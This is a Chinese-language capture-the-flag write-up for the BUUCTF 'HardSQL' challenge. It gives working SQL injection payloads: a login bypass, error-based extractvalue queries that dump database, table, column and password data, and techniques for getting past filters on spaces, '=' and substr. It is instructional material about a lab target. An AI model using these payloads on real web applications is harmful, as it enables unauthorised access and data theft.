【BUUCTF】HardSQL
題目來源
收錄於:BUUCTF 極客大挑戰 2019
題目描述
一道純粹的SQL隱碼攻擊題
嘗試進行注入,發現對以下字元進行了過濾:
= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and
且過濾方式不區分大小寫,檢測到以上字元就die()
題解
先找注入點,由於空格被過濾,與空格起同樣作用的字元也被過濾,因此我們使用(
和)
將庫名、表名、欄位名包裹起來,就不需要使用空格了。
exp 如下:
?username=-1'or(1)%23&password=1
成功登入。
由於過濾了union
,我們使用報錯注入的方式進行嘗試。另外,由於=
被過濾,我們可以使用like
來代替=
。payload如下:
//爆庫名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆欄位名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆欄位值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23
在爆欄位值的時候我們看到,flag只顯示了一部分
由於substr()
函式被過濾,我們使用left()
或right()
來進行字串的擷取,payload:
1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23
其中30是擷取右邊字元的個數,可以改為其他值,只要能拿到完整flag即可。
總結
繞過空格
使用以下字元替代空格,可以起到相同效果
%09 %0a %0b %0c %0d /**/
或使用(
和)
包裹庫名、表名、欄位名,從而避免空格的使用,如:
select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())
繞過 =
用like
代替=
字串顯示不全
使用以下三個函式對字串進行擷取:
substr() left() right()